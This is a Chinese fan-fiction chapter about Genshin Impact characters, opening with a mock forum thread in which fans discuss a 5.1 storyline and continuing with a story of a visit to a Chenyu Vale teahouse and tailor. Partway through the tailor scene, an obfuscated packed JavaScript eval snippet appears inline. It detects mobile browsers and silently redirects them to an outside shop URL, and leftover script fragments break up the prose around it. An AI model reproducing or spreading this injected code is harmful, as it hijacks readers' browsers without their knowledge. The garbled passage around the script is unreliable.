他心里明白得很呢,二创拿捏这个劲的很少,大多数都把鱼写得像个清澈愚蠢大学生。那维莱特的二创简直是嬷嬷的乐园,委屈哭哭龙看到自己的嬷嬷估计会气死吧…… 58L 大学生招你惹你了,生气.jpg 59L 没,夸你呢,多可爱 60L 啊,啊?啊……派蒙流口水.jpg 61L 泥们…… …… 102L楼主 还有活人吗?对5.1剧情有没有什么看法?冷漠.jpg 103L 尸体在说话,我不行了,让我躺会…… 104L 之前5.0还笑纳塔作为战争的国度,怎么净搞体育。现在好了,战争真的来了,你密码的深渊柠檬水了 105L 咳咳,论坛不是无人之地 106L 骂都不想骂了,这次剧情特别好,好到我想死 107L 不是你们怎么都这么个死样?我还没过完主线别吓我啊你们! 108L 过吧,一过一个不吭声 109L 啊?不是这么严重吗?我们家鱼怎么样了?不会真的死了吧?就像传二里的未来那样!!! 110L 不会吧!别吓我!那维莱特真的会水淹枫丹的! 111L 没呢,这回没刀鱼,他还帮了大忙,打了个金牌辅助。就是吧,战争你得自己过剧情体会,我们这种生在和平年代的人很难描述那种场景。有时候不得不说12+限制了马哈鱼的发挥,这次的剧情刻画真的,绝了 112L 我听劝,我现在就滚去做任务过剧情 113L楼主 唉……这还是有鱼打辅助的情况,前期多次铺垫深渊界门出现的突兀性,鱼用大招锁定了天上的黑煤球导致没法增生更多深渊界门,要是没有鱼,或者鱼倒下的话,还会死更多 114L 鱼要维持那样大的结界很费力,在天上直面黑煤球。地上的战斗没法帮忙,到处都是死伤,虽然支援很快,但挡不住伤势过重无力回天啊 当然最后那个鲸鱼很帅哈,全体套水抗水免,一下子破了深渊界门的次数盾,妙啊妙啊,这个逻辑可以的 115L 又套盾又加速又减抗,这妥妥硬辅啊 116L 还能回血呢,虽然只能回到血线的一半,救急也够了 117L 又有人开始发刀子。说鱼这次的金牌辅助实至名归,前期做了那么多准备,都是[卡吕普迪斯]血泪的教训。大雾迷烟让人失去方向,有黑曜石护身符定位;支援与救援速度慢,黑曜石护身符就投入热气球燃料里,守护力量随着火焰蔓延到飞奔的信使和路上的支援队身上;纳塔大地会被污染,所以用海水隔绝天空的注视;自身力量有限会枯竭,就向纳塔的海域借来海水,最后还要还回去……已经把他个人能做的能想到的降低伤亡的办法都做了,所以目前全网规划的最少伤亡数量是九百多。真的,如果这是一场现实中的全国入侵反抗战役,毫无疑问是损失较轻的,这样都还有人骂马哈鱼儿戏战争,老子服了 118L 有的阎王硬拖,拖到了八千,塔玛的翻了快十倍 119L 骂马哈鱼儿戏战争?得,这回真踢到铁板了,马哈鱼把[卡吕普迪斯]那条线的纳塔战争动画做出来了,隔了一天才放上来估计是审核那边的在反复申请,不然按马哈鱼的性格,会同步上线动画的 120L 不是你说骂啥不好骂他这个,马哈鱼还没活够不想死的 121L 我去瞅瞅啥样,我打的是一千出头的阵亡数量,感觉还可以,不知道另一条线是多少 122L 4.2版本后,卡吕普迪斯每次在魔神任务出场好像都会有一个动画短片上线。马哈鱼你们是不是美工资源溢出干脆开辟了另一条线全往卡吕普迪斯身上堆? 123L 你都有这水平了你还跟碟社合作?拖了好几年了不会真的是在筹违约金吧?指指点点.jpg …… 158L 我回来了,我靠 159L 兄弟们,把[卡吕普迪斯]排面打在公屏上 160L 咋了咋了,你们能不能说清楚,这对我一个上课没法看视频的学生党很不友好啊 161L [卡吕普迪斯]这待遇,真没得说。新动画《不得安息》纯纯是阳间画风阴间故事 162L 《不得安息》,你品,你细细品。到底是谁不得安息?纳塔战士的灵魂?还是卡吕普迪斯? 163L 死马哈鱼隔一段时间就放个板子计数死亡人数多少,加上bgm滴答滴答,有种天要塌下来正在倒计时的感觉 164L 这次纯纯美工资源溢出,炫技。质量在线,表现手法没有什么新突破,结合正式魔神剧情形成鲜明反差 完了,真让马哈鱼找到合适的发刀手段了。他已经熟练的隔着一个世界发双份刀子了,越品越心悸 165L 楼上熟练的吃刀技术也是……唉。 这动画完全就是苦难,主线里没有展示的血流成河,尸骸遍野,残缺断肢这回放出来,炸得我头皮发麻。 166L [卡吕普迪斯]那会还是高马尾的小鱼,和福勒依斯并肩作战,抽空互损。他还不知道深渊界门的无限增生,他也不知道深渊潜伏在暗处的危害,他只是站在大地上,带着信赖他的枫丹人民去帮助纳塔。 这一次的纳塔没有等到六个战士觉醒,火神被迫释放神之心里的力量,取得了小小的胜利。然后就是深渊反扑,全线崩溃。这一次没法开启还魂诗,死了就是真的死了。 战争就是一台巨大的绞肉机,你能活下来不代表你就是最强,只是因为你活了下来。这句话不知道是在哪里看到的,真的很符合这个动画里表达的感受。战争的漩涡里,谁也不知道是否能看到明天的太阳 [卡吕普迪斯]的力量在纳塔施展有限,他不知道还能借用纳塔海域的力量,于是只能用自己的力量去硬抗。魔物杀不完,好像永无止境。车轮战带走了他身边一个又一个,一批又一批人,最后的最后,他这里只剩下他和福勒依斯。 可是另一边的尖叫哀嚎仍在继续,他把自己把武器投掷出去。法杖[厄里那斯之遗]是厄里那斯的馈赠,捏在手里,或者展开保护罩就能抵御一部分的深渊侵蚀。他和福勒依斯这边的战场已经走到了穷途末路,走都走不动了,不如把希望留给更多人。 没有了厄里那斯的庇护,他的身体不可避免的受到了来自深渊的腐蚀,一点点看着自己的身体被洞穿,被异化,看着福勒依斯无助的哭泣。这个时候他还是小鱼,没有变成后来的怪物。 他哭着喊着说“福勒依斯,跑啊!” 是在担心自己的身体不受理智控制,污染好朋友吗?越是强大的长生种,被污染造成的灾难也越恐怖,他怎么敢赌自己不是那个例外? 异化的深紫色纹路从足尖蔓延到脸颊,然后是眼睑,直到眼睛变得幽邃而黑暗之前,他用尖锐锋利的指尖挖出了自己的心脏,倒在地上像条死狗一样痛苦的苟延残喘几分钟,每一帧回忆都是美丽的枫丹和他微笑着的家人同伴。 最后最后的念头,也只是一句微不可查的呢喃。 “我想回家。” 167L “我想回家”……妈呀,受不了了真的。战争中的牺牲者,可能想过杀死更多人,可能遗憾过不能继续建立功勋,可能愤恨无法带走更多敌人,但是回家这个想法已经刻入了人类思想基因。 他只是想回家而已,哪怕是葬在枫丹地界上也好啊。他送了那么那么多沉船和海难者归乡,为什么他自己回不了家? 马哈鱼!!!! 168L 别人被深渊侵蚀,主情绪都是恐惧或者憎恨,只有他的情绪全是悲伤和遗憾。 他的灵魂是不是不会被深渊污染? 169L 你密码的知道你在说什么魔鬼的话吗? 170L 如果鱼的灵魂是像《未果之梦》的隐喻那样,和杜林厄里那斯他们灵魂一样来自虚空,也许真的不会被污染,只有身体是血肉构成的。 他会不会真的是清醒着感受身体的异化和不可控,然后喊着福勒依斯快跑,哆哆嗦嗦的挖出自己的心,心脏受到致命伤后不会立即停止呼吸,他会痛苦的匍匐在地上挣扎,就像一条被抽出脊梁的狗。 最后也只是一个离乡游子的心愿,“我想回家”。 171L 在外打工人看不得这些,这就是对我上班期间摸鱼偷偷刷视频的惩罚吗?一个人在外打拼,每次受委屈都忍不住想回家。那个家不一定是生养自己的地方,有可能就是一个心灵的安息处。但是对鱼来说,家就是最重要的吧,他想着那维莱特,想着芙宁娜,想着美露莘们,想着许许多多枫丹的孩子,作为战士他战败了,他没有错,他尽力了,他只是想回家。 172L 考考你,这个动画名字叫什么 173L ……《不得安息》 啊啊啊啊啊啊啊啊啊啊啊啊!!!! 174L 他回不了家,灵魂也无法安息。这就是另一条线的鱼的结局。哪怕你知道他未来会成为[卡吕普迪斯],也会觉得他可怜吧 至少这一刻,他仍然是我们熟悉的小鱼 175L 这还没完。鱼死后又有一个计数板统计阵亡人数,那个数字我都不想念,自己看吧。附图.jpg 然后画面转到了福勒依斯那里,她听了鱼的话跑,跑到了鱼投掷出法杖的地方,在那里拿走了已经无法再庇护战士的法杖——都死了,哪怕鱼的天赋是回半血,也挡不住瞬间毙命。福勒依斯连滚带爬回来,一点都不害怕被污染,抱着鱼的脑袋哭。眼泪嘀嗒嘀嗒,顺着鱼的脸流下。 可是她的好朋友不会再醒来。 176L 她痛恨鱼,也痛恨自己,“卡吕普迪斯,你这个笨蛋、胆小鬼、自大狂……” 她看到了那颗被活生生挖出来的心脏,“很痛吧?你最怕痛了。” 她说,“别害怕,你不会是一个人。我会带你回家。” 于是自我的献祭开始了,用自己的命与此地的志高意志做交易,换得她挚友的灵魂从深不见底的黑暗中归来。 你曾千里迢迢奔赴至冷至寒的雪国,只为带我回家。挽留了我本该消散与天地的命运,从此我的命运与你紧紧相依。 卡吕普迪斯是个胆小鬼,怕痛怕冷怕孤独。但是没关系,你是我最好的朋友,你什么样子我都接受——纯水精灵福勒依斯 177L “我想回家” “我会带你回家” 真的是,交付生死性命的好友。挚友!知道这个词在二次元的含金量吗?! 178L 难怪传二里[卡吕普迪斯]那么想见福勒依斯,要那样问她。 我没有成为你希望中的英雄,用自己的命换我的命,值得吗? 你是我最好的朋友——这就是福勒依斯的回答。 所以值得。 179L 哪怕他活得那么痛苦? 180L 福勒依斯本来也不知道结局会是这样吧?鱼想回家,她当然会拼上全部让他回家。福勒依斯可能还想着鱼回家后能带来那维莱特支援,谁知道鱼醒来后,地上的国度已经沦陷了。 深渊的侵蚀是没有止境不得满足的,鱼死的时候那维莱特还活着,他复活之后,那维莱特已经庇护着枫丹走到了穷途末路。 本来至高的龙王是不会这样轻易死去的,但如果力量被用来庇护而不是屠戮呢?就像福勒依斯当年为了净化污染散去了自己全部力量那样。 守护永远比杀戮更难。那维莱特当然可以保全自己,保全美露莘们去纳塔接回他的眷属小鱼完全没问题,可他到底在人类社会待了五百年,可他到底是一位王。王是不会临阵脱逃的,于是他背负起了枫丹生命的重量。 181L 然后就这样硬生生耗死了。 182L 其他地方又开始吵古龙战力问题了,这不没事找事吗?那个世界线都死了,那维莱特还能撑到鱼回来说句遗言,孰强孰弱不是板上钉钉? 183L楼主 禁止引战。 184L 楼主来了,别悄摸摸带节奏。 185L 鱼复活后赶回枫丹,那会路上见到的场景未免太可怕了吧?深渊蔓延速度那么快的吗?其他五神干啥去了啊?吃白饭的? 186L 肯定不止纳塔一个地方涌出的深渊,主线里玛薇卡讲过,如果情况真的到了那种地步,她会不惜一切代价用纳塔锁住深渊,也就是说,在纳塔作乱的深渊力量不会蔓延出去。 187L 话说坎瑞亚,是不是就在荼泥黑渊地下?鱼回枫丹是要经过沙漠的,两侧都是被污染的场景,分不清他走的是哪条路,只知道在沙漠。附图.jpg 188L楼主 这个猜测方向应该没问题。主线里鱼也是这样旁敲侧击的,他来纳塔一趟没发现[卡吕普迪斯]对反主的巨大敌意来自何处,也想到了须弥那边的动静,觉得可能不止一处的渊薮蔓延。 189L 怎么都在关心深渊的问题,没人发现鱼复活的时间点很不对吗? 福勒依斯献祭的时候距离他死绝对不超过两小时。鱼复活之后的场景里,纳塔成为死寂的封印之地,沙漠全都是类似荼泥黑渊的场景,到处都是尸体。扭曲的沙虫与疑似阿佩普的存在他都视若无物——沙漠是阿佩普的地界,她这个有抗体的都中招了,严重怀疑她这次是直面了深渊,而且绝对抗争了很久很久。 所以,鱼是不是隔了很久才复活成功,他以为距离福勒依斯献祭没过去多久,实际上已经过了很多很多日子……或者年月? 190L 那真的是福勒依斯献祭能造成的成功吗?你看[卡吕普迪斯]这样子,死气沉沉。 191L 有人做手脚了吧?故意拖延他回枫丹的时间。 那福勒依斯岂不是白死了?啊???? 192L [那维莱特]视角应该也挺崩溃,自家辛辛苦苦养大的鱼出去支援,然后没了生息。纳塔传来的消息是封锁全境阻挡深渊蔓延,都说鱼死了,[那维莱特]是信还是不信?他一直守着枫丹全境,没有像其他龙王那样独善其身,是不是在等鱼回来? 他和鱼陪伴生活了那么多年,没道理福勒依斯知道鱼怕冷怕痛怕孤独而他不知道啊。所以[那维莱特]真的是在等鱼回来吧?守着一个几乎破灭的希望…… 193L 还有人记得5.0主线开头那会枫丹的大雨吗?芙宁娜的表情很奇怪,她绝对知道为什么。这也和后来我们在纳塔看见鱼联系上了,已知传二后那维莱特知道鱼在纳塔会发生什么,他这莫不是担心得哭吧? 194L 不是泥们……都说了水龙只是感受到悲伤的情绪才会影响天气啊!! 195L 好好好,我不说这个。但鱼对水龙来说很重要这个没得喷没得反驳吧?所以我真的觉得[那维莱特]等[卡吕普迪斯]回来这个隐藏的 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有人喊我,确实有新发现。我觉得,鱼和[卡吕普迪斯]可能都被当成试验品了。 375L 啊?上来就这么大一瓜? 376L楼主 有点长,我慢慢打字,等我会,别刷屏太快。 377L 乖巧.jpg 378L 派蒙对手指.jpg …… 400L楼主 鱼的预知力量是从五百年前坎瑞亚灾变时刻开始拥有的,戴因斯雷布说,坎瑞亚五大罪人其一的,他的哥哥维瑟弗尼尔就是在灾变时期获得的预知力量。鱼和维瑟弗尼尔之间有没有联系我不清楚,但可以肯定的是,预知的力量绝非巧合。因为传二里[卡吕普迪斯]对鱼的预知能力表示惊异,还问他都改变了什么。鱼说改变不大,没什么意义的时候他很难得的没有嘲讽鱼。附图.jpg×3 可以很明显看到[卡吕普迪斯]这个表情是沉思状态。[卡吕普迪斯]是没有预知能力的,而鱼拥有。他们两个一定都曾浮出海面看远方天空的神迹,但是只有鱼有这个能力而[卡吕普迪斯]没有。这个能力是谁给鱼的? 从前我以为是坎瑞亚灾变的不同影响,现在看来更像是某个存在看见没有预知能力的[卡吕普迪斯]变得棘手失控,于是在这条时间线这次轮回里给他一个新的能力,让他规避风险。 401L楼主 传二里,[卡吕普迪斯]说鱼不会死去,这已经触碰到了死之执政若娜瓦的权柄。和主线里鱼被夜神之国拒绝进入,不能参与接下来的反击战也是呼应上了。夜神之国是若娜瓦的手笔,执政的力量拒绝鱼的到来,到底是厌憎钻空子,被死亡拒绝的灵魂,还是恐惧鱼背后的[卡吕普迪斯]呢? [卡吕普迪斯]自己都是死过一次才会【不死】,按理来说鱼也应该死去一次,可是最后的结果只是不痛不痒的失去另一具“躯体”。这还是[卡吕普迪斯]的说法,鱼在纳塔还能在人和人鱼的形态转变,这是哪门子的另一具躯体死去?是[卡吕普迪斯]赋予鱼【不死】的特性吧? 纳塔地区有个夜魂试炼,卡皮巴拉外形的夜魂,名字是【不死】。当然你可以说这是巧合,毕竟我也没有实锤。但总而言之,鱼的【不死】肯定是个伏笔。这已经触碰到了生死的法则,是对执政权柄的亵渎。 执政也是神,神明权柄不可触碰,不可亵渎。纳塔是在若娜瓦的怜悯和帮助下建立起来的,火神保全纳塔人民尚且需要支付【死亡】的代价,鱼到底是怎么钻的空子?若娜瓦真的不知道?【不死】是惩罚吗? 传二里,[卡吕普迪斯]也透露过他来到这个世界是有执政的手笔在,天上的家伙默许了他的到来。至于为什么一开始要装……遮羞布?好让他的到来合理一些?附图.jpg 402L楼主 帖子前面也有人猜,[卡吕普迪斯]在纳塔死去,[福勒依斯]以命换命救他回来。如果死去的灵魂这么轻易的就可以回来,我相信福勒依斯的门生一定非常非常多。太多人想要以命换命了,若娜瓦凭什么回应一只小小的纯水精灵?难道是被感天动地挚友情打动了?可这世上多的是真挚的情感。[福勒依斯]凭什么?如果她真的献祭成功了,为什么[卡吕普迪斯]复活后的时间点存疑? 其实献祭根本没成功吧?[福勒依斯]那不是献祭,她把自己全部的力量用来填补[卡吕普迪斯]空洞的胸膛,给了他一颗水做的心。希望能让他活过来。[福勒依斯]只是[卡吕普迪斯]复活的条件之一,因为她的命是[卡吕普迪斯]续的,只有交出了这条命,她和[卡吕普迪斯]在命理上的牵绊才能剪断。 拖延到[那维莱特]快死的时候才复活赶回家,[那维莱特]死亡,和他的牵绊也断了。 厄里那斯复活危害世间,枫丹人杀死了美露莘泄愤,斩断了人和孩子对[卡吕普迪斯]的牵绊。 亲手杀死厄里那斯,斩断了世外灵魂对他的帮扶。 另外旅行者血亲反主的敌对,和旅行者的沉睡,也分别让[卡吕普迪斯]最后的牵挂消散。 这完完全全是在剥夺他作为“人”的情感和情绪,斩断他作为一个生命应该有的七情六欲和尘世羁绊。好像要把[卡吕普迪斯]这个家伙塑造成什么至高无上的存在。 背后的推手成功了。[卡吕普迪斯]已经是个不会被深渊污染,能够守护一方世界的强大存在,一个程序上的病毒,一个巨大的漏洞,一个乱窜的bug。 或者说,他已经成为了一个神。 403L 我的妈呀……这这这,这怎么搞? 和[卡吕普迪斯]这种家破人亡被迫成长起来的疯子相比,鱼可以说是清澈愚蠢的傻白甜。 不过居然是成神吗?什么神?存护还是巡猎? 404L 宝了个贝的走错片场了吧?巡猎能是这癫样? 405L 我觉得不像是神,提瓦特的龙是不屑于成神的,他们要的是[进化]。 5.2新增世界任务楼主应该也做了,龙贤和咱们龙伙伴的对话看了吗?虽然幻视教授对幼儿园小宝宝灌输理念知识的场景,但里面有句话我记得很清楚。“进化,这本应是属于龙众的概念。为了拥有更健壮的身躯,为了获得更强大的力量,不断适应环境,改造自身,这是龙众的生存之道。*”鱼一路走来,成长线相当清晰。人称之为成长,但龙众把这个过程叫[进化]。不断磨砺自身,获得更强大的力量,从深海走上陆地,这就是名为卡吕普迪斯的龙裔的进化。而楼主说的那些,不觉得更像是从陆地飞上天空,凌驾一切的[进化]过程吗? 龙贤对奥奇坎的论文段评有这么一条“我愚蠢的子嗣,竟执拗于如此偏狭的种群之见。[进化]之混杂的,从来不是你想象中那样纯净无垢的东西。正因此,[进化]才会是[永恒]之敌。*②” 眼熟不?这个理念在稻妻土妹子那也有。“唯有永恒才最接近天理*③” [永恒]象征天理为首的天空岛势力,[进化]则是地上龙众势力的代名词。龙众的天性就是进化,为了更强而进化,绝对不会固步自封一成不变。天空岛要阻拦的就是这种[进化],否则世界会在不断前进中毁灭。 也因此,龙和神是敌人。[卡吕普迪斯]绝对不会允许自己成为所谓的神,因为他绝对不会背叛家人,不会背叛[那维莱特]。他更像是两方博弈的结果,有神要他成神,有龙要他进化,于是他水灵灵的走错了路,成为如今这个扭曲的模样。 406L ……类似博士的存在? 407L 那倒也不至于啊……博士不是要干天理烧世界树吗?这又是永恒又是进化的,给我整懵了。 408L 你怎么就觉得[卡吕普迪斯]不会干天理烧世界树? 409L 我靠,两个疯子凑一起,场面不要太美 410L 两方势力的博弈吗?那他也太惨了我去 411L [卡吕普迪斯]知道他现在的样子是谁导致的吗?知道了之后会发疯吧? 412L 他已经够疯了。沧桑点烟.jpg 413L 所以说他真的惨啊,绝望的哭喊,愤怒的嘶吼,痛苦的哀鸣……直到最后哭都哭不出来,cv老师表现力太强了,哭的我忍不住掉眼泪。其他博主配上bgm剪辑,更是催泪炸弹 414L 太苦了,为什么要对他这样?他只是一条小鱼啊 415L 鱼是最合适的,验证[进化]的选择。没有龙王那样漫长到好像没有尽头的生长期,和水龙王年纪相仿,血统无可辩驳的高贵,亲王级别的实力和品阶。天生就是外形上最接近水龙王的龙裔,后来更是靠着自己的力量从人鱼进化为了人。水元素的权柄,生命力顽强血条厚,耐造。来自虚空中的纯净的灵魂不会被深渊污染,能保持一定理智……完美的试验品。 416L 受害者有罪?就因为他最合适?别太搞笑了哈。 417L 不要偷换概念,我只是在回答前面的问题。为什么选择他,因为他合适。如果其他人合适,其他人也会受这样的苦难。当然不会是受害者的错,也不是回答问题的我的错。so,你的声音太尖锐了。 418L 凭什么啊凭什么!!!太苦了,就像一条被抽走脊梁骨的可怜小狗,他本来是有家的,但是被迫流浪。为了保护自己只能变成街头凶狠的疯狗。 419L 不是鱼吗?怎么又比喻成狗了? 420L 因为太可怜了,我又想起《苦行者》那个日配声音,“我的那维莱特不会再回来了”,特别特比像多多找回来后对着我呜呜嘤嘤。多多是我养的小狗,之前门没关好它溜出去,被狗贩子拖走了,三天后我才在狗肉馆找到它,差一点点就要死翘翘。哭得特别特别委屈,它是那种很内敛很会撒娇的孩子,受了天大的委屈也只是嘤嘤嘤。隔壁阿拉斯加主人来了后,它嚎得惊天地泣鬼神,一边汪汪一边扒拉主人裤腿,怪主人没保护好它。附图.jpg×7 感觉怎么回事呢,就是我家小狗觉得它跑出去犯错了,受到委屈也不会理直气壮。不像阿拉斯加完全是无妄之灾,被主人讨厌狗的爸爸卖掉的——[卡吕普迪斯]在传二说恨鱼,就是恨自己没有保护好大家吧。他一直把自己大守护者的责任看得很重,一直觉得自己应该保护好大家。所以他对那维莱特对态度也是那样,非常的委屈且愧疚,觉得自己回来晚了。 有狗的人类看不得可怜小狗流浪在外,闭眼.jpg 421L楼主 嘶——这个角度,清奇,但是很有道理。 422L 到底哪里有道理了?你们不要狗塑鱼啊!尖叫.jpg 423L 我只能说幸好主线的鱼还好好的,已经回家了。大概下个版本就能在璃月港看到他,海灯节这家伙包回去陪福勒依斯过的。让我快乐一个版本,求求了马哈鱼 424L 网传5.3版本鱼复刻,武器池我只希望别太抽象。 425L 还有人说鱼要有新衣服了,不过夜兰也在传会有新衣服,不确定。 426L 不是说给胡桃了吗? 427L 啊?那老师我们家申鹤还有复刻机会吗? 428L 安心啦,虽然通常是新衣服跟着角色一起来,但申鹤这不是珠玉在前吗 429L 《珠玉在前》,微笑.jpg 我不会放过你们这些戳我心窝子的家伙的!!!! 430L 很多新衣服都是老角色才用,海灯节更是璃月人主场。鱼能混个皮肤真是……哇塞 431L 没确定呢,官方公布前都不作数的。 84.沉玉谷委托刷新 枫丹的冬日如期而至。 这年头的季节变换逐渐乱了起来,虽然春夏秋冬还是那么算,但季节性的降水和气候同以前相比格外不规律。 连着一个多月不下雨,静原挠挠头,看向正在批改文件的那维莱特:“你心情很好?” “不排除这个因素影响。”那维莱特知道他要说什么,坦然的承认了,“冬日温暖的太阳有助于身心健康,不降雨不是大问题。” 静原想说你不是很喜欢雨天吗?就那种和风细雨的程度,淋雨能让你感到放松。想想算了,捏着笔继续埋头写年底的工作报告。他没有专属的办公室,毕竟他的工作性质决定了他常年在外跑,只是这些年海上安定了些,有时间坐下来慢慢琢磨报告的事。按理来说办公室也该划分下来,但是大守护者大人表示我跟最高审判官挤挤就行,纸笔都用他那的,不用多批——省得底下人又要写一次财政报告月底交。 奋笔疾书四十分钟后,他愉快的吹吹纸上未干的墨水痕迹,直接交到了那维莱特面前,反正无论怎样顶头上司都是这位爷:“报告交给你就直接放年假了。今年也去沉玉谷玩吗?” 那维莱特接过报告:“今年留出了两天的时间,可以陪你久一点。” “那太好了,这次可以走远一点看看。我带你去璃月港吃饭怎么样?”静原想起去年的经历,“璃月港的菜还挺好吃的,汤品很多种,总会有你喜欢的一款。” 他围着老大叽叽喳喳:“你哪天有空咱们哪天就出发,海灯节前后的璃月港都很繁华喧闹。梅内娅也答应我今年和我一起玩,可算有美露莘愿意走出去看看了……” 那维莱特则是思考:“贵金之神摩拉克斯,应该就在璃月吧?” 静原想都不用想就知道老大想干啥:“虽然摩拉克斯假死是秘而不宣的事,但我们去璃月旅游,最好不要这样当着人类的面提及他的[死亡]。毕竟……对璃月人来说,这样是亵渎他们的神明。” 那维莱特好像嗤笑了一声,不太明显,他最近心情不错,闻言只是颔首:“我知道的。” 静原无所谓啦,虽然他会给出自己的意见,但最终拍板决定的还是那维莱特本身。那维莱特又不是笨蛋,心里有数的。 “那就这么定了,我去收拾东西,沫芒宫工作告一段落你打算出发的时候,就告诉我吧。”他像是只燕子似的飞出办公室,飞出偌大的沫芒宫,踩着被阳光晒得温暖的大理石地板,奔向外面更广阔的天地。 那维莱特心想,他可不是什么能够关在小小鱼缸里的观赏鱼,广阔的海洋才是最适合他的乐园。 距离沫芒宫最高审判官的假期还有很长一段时间,静原自己先跑去沉玉谷找福勒依斯玩。 “你可算回来了!”福勒依斯见到他来喜形于色,“有没有受伤?纳塔是战争的国度,肯定很危险吧?早饭吃过了没有?咱们下山吃早茶去?” 跳跃性的一长串话跟连珠炮似的,静原被她摆弄着转来转去检查。像没有脾气的布娃娃似的。 “没受伤,前期准备工作做得很充足,预估伤亡也在合理范围内。”他打的是辅助,心里有数不会逞强,“早上吃了两片黄油吐司,现在好饿。” “那维莱特也真是的,都不给你吃饱饭么?算了算了,今天我请客,你不在的时候我投资挣了些摩拉,正好请你吃饭。”福勒依斯推着他往山下走,“再给你定做身衣裳,天天不是蓝裤子就是白上衫,大过节的穿得喜庆些。” 人家璃月孩子逢年过节穿红戴金,喜庆得很。怎么自家的扯二尺布就心满意足了? 静原一面反驳是他自己早上没胃口怎么能怪那维莱特——那维莱特又不是在沫芒宫员工食堂打饭,还能对他填鸭式硬塞饭吗。一面向没眼光的福勒依斯展示身上这件上衫做工精美程度:“这可是千织屋出品的设计,你看这袖口!这腰链、这布料渐变色——哎哟!” 他没看下面,结果一脚踩到了掉落在山路小道上的松塔上,痛得抱着那只脚连连蹦哒,差点给福勒依斯一胯骨轴子撞下山。 福勒依斯对他是服气的:“你好歹穿双鞋啊!”大冬天的光什么脚啊! 静原振振有词:“我们美人鱼都是不穿鞋的!冬天也一样!” 人鱼的脚不染尘埃,但是踩到硬物还是会被硌痛的。 福勒依斯不理解卡吕普迪斯神奇的脑回路,扯着他直线下山,去遗珑埠茶楼吃早茶打发时间了。 虽然沉玉谷人吃早茶讲究“一盅两件”,但并不是字面意义上的两件早茶样式。通常是饮茶和吃点心两件事结合。 福勒依斯难得请客,静原对着菜单连点:“这个这个,还有这个这个,说的这些不要,其他的全都来两份。茶要一壶[飘渺云山],一壶[松萝仙芽]。好了,去吧。” 蓝发女子模样的纯水精灵坐在他对面,侍者惊愕询问的时候,她对这种吃大户的行为表示纵容——毕竟卡吕普迪斯请客的时候她也这样。“等吃完早茶,估计也就到了下午。我带你去裁缝铺那转转。” “怎么对给我买衣服这事这么执着?” “你总穿这两身,看腻了。璃月人讲究四时有序,穿衣打扮都跟着时令来。枫丹那边可能因为气候和人文原因,薄薄的衣衫堆叠着穿能过四季。”她托腮感叹,“在璃月待久了,感觉我和璃月人的喜好也没有太多区别。” 她幼年时在枫丹,少女时在至冬,此后一直在璃月定居,璃月文化对她影响颇深。穿衣风格都越来越贴近璃月人了。今天穿的就是身青绿色的裙衣,蓝发挽簪,缀着银饰。 静原倒是觉得她有些害怕这种逐渐被同化的感觉,但是并不是抗拒同化本身,只是对一个人经历这些有些本能的惶恐。拽着自己似乎能让她感觉“不是一个人”。 福勒依斯心理学大师——静原对新上的两笼虾饺伸出筷子:“好啊,我也做身新衣服。”就当过年了。 去裁缝铺子逛的时候,戴着金丝眼镜的老板眯眼笑:“小福又来了啊。” 静原:谁?谁是小福? 福勒依斯从容上前,扶着老板站起来:“嗯,我还带了新客人来。容师傅看看?” 然后静原就被老大爷摸着手骨,捏着肩膀,详详细细测量了一圈数据,边写边感叹:“真是好标志的人哟,高高大大的,生得真好。喜欢什么样式的?宽袖还是束袖?锦缎还是丝绸?斜襟还是正襟?盘口要珍珠的还是宝石的?” 静原说都好都好,都行都行。老板连连摇头说:“哪有什么都好都行?心里没个主意就找个能给你捏主意的人来。做衣如做人,你是个什么人,看你穿得如何就能判断。” 他挠头:“这不……看人下菜碟吗?” “贵有贵的判断,平价有评价的判定,至于穷苦人,是出不起定做的价格的。”老板一掸衣袖上不存在的灰尘,“这不是挖苦,这是实话。您这身一看就不是凡夫俗子,在咱们这定做衣衫是咱们的荣幸,想要什么样的,您只管说。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14440302|140426||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 静原如坐针毡,求助的望向福勒依斯。后者无奈叹气:“容师傅……这不是我跟您讲的那个高大个,这个是我……哥哥。” 容师傅那态度一百八十度大转变,顿时从精明说话带软刺的商人变成了邻家好叔叔好大爷:“哎哟,是小福的哥哥啊,难怪眼睛头发都这么像。快到里面坐,阿周,给客人倒茶!” 里间很快窜出来个瘦瘦的少年人,眼睛亮亮的,衣衫整洁,看着就精神利索:“客人里边请。” 静原觉得有什么他不知道的事,扭头盯着福勒依斯:“你又要捣鼓啥?” 福勒依斯叹气,没想到闹出个乌龙来:“去里边我跟你说,外头不适合讲这些。” “什么?!”静原一拍桌,给茶碗震得碰碰响,“阿列克谢和你联系还没断?” 他以为出了至冬就不会再见了。 阿列克谢就是至冬那头熊,带着静原去找福勒依斯的那头熊。他早就看出这头熊对福勒依斯图谋不轨了!!! 福勒依斯:哪有!!! “重点是这个吗?他是前阵子才跟我联系上,和我讲了很多事,至冬森林那边的水脉污染解决后,又来了一伙人去挖。他盯梢了很久,确定是……官方的人来才没有多管。那些矿物一批批运走,送到了……上头人的实验室里,不知道琢磨出个什么玩意。直到森林里又来了一批人,佩戴着奇怪的东西,也没干什么坏事,但力量散溢出去后,污染了我曾修复的那处水脉。”福勒依斯叹气,“是那种矿石为原材料做的用具。阿列克谢还没有修出人形,走不了太远,只能默默观察,他本来也不是多么跳脱的性子。” “大概两百年前,他被抓了。关在笼子里遭受实验,亲身体验过那种用具的力量和反噬。他说人类这样大肆使用,虽然能获得强大的力量,但后果太严重了。” 静原一哽。 “半年前他打死了守卫逃出来,写信向我求救,只是隐约记得你说要带我回枫丹,不知道具体位置,于是那封信寄到了枫丹沫芒宫,然后两个月前才被转寄到了我这里。因为那维莱特知道这段渊源,你跟他讲过的。” 静原看着屋内两个微笑的人类:“这是……?” “璃月七星手下的暗桩,我也是稀里糊涂才知道的。”福勒依斯无意多言,只是问,“我在回信里告诉过阿列克谢会去至冬接他走,怎么说也是朋友。但是容老板,以及他背后的大人,似乎有意让你也参与进来。” 福勒依斯不想卡吕普迪斯淌这趟浑水,她自己的决定没必要让他买单。 